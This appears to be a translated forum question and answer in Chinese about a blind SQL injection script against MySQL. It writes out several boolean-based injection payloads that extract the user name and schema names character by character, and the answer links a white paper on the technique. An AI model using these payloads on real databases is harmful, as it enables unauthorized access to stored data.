我正在开发一个脚本来执行针对mysql数据库的slqinjection攻击。此脚本已获取用户名和主机名。但是,我不知道如何获取表的值。
让我们举个例子。我想用这句话得到mysql中的模式:
SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA
我的攻击是这样的:
usuario=admin' AND $ascii_value<ASCII(substring(user(),$i,1)) and '1'='1
通过这种方式,我运行username来获取它的ascii值。显然,如果我尝试将这两种表达结合起来:
usuario=admin' AND $ascii_value<ASCII(substring((SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA),$i,1)) and '1'='1
我什么都没有。嗯,可能有两种模式,所以让我们至少得到第一种。
usuario=admin' AND $ascii_value<ASCII(substring((SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA ORDER BY SCHEMA_NAME DESC LIMIT 0,1),$i,1)) and '1'='1
再也不行了。例如,如何在盲目的sqlinjection攻击中提取模式名称?
谢谢!!
1条答案
按热度按时间yvgpqqbh1#
查看我的sql injection anywhere白皮书,它将展示不同的二进制盲sql注入技术,不是基于where子句,而是基于sql查询的其他部分:http://www.quotium.com/content/uploads/2005/01/sql-injection-anywhere-white-paper.pdf
另外,如果遇到你提到的问题,我会构建一个mysql数据库,用数据填充它,并尝试执行负载。显然,要么是语法错误,要么很可能是某个地方的业务逻辑短路错误。
祝你好运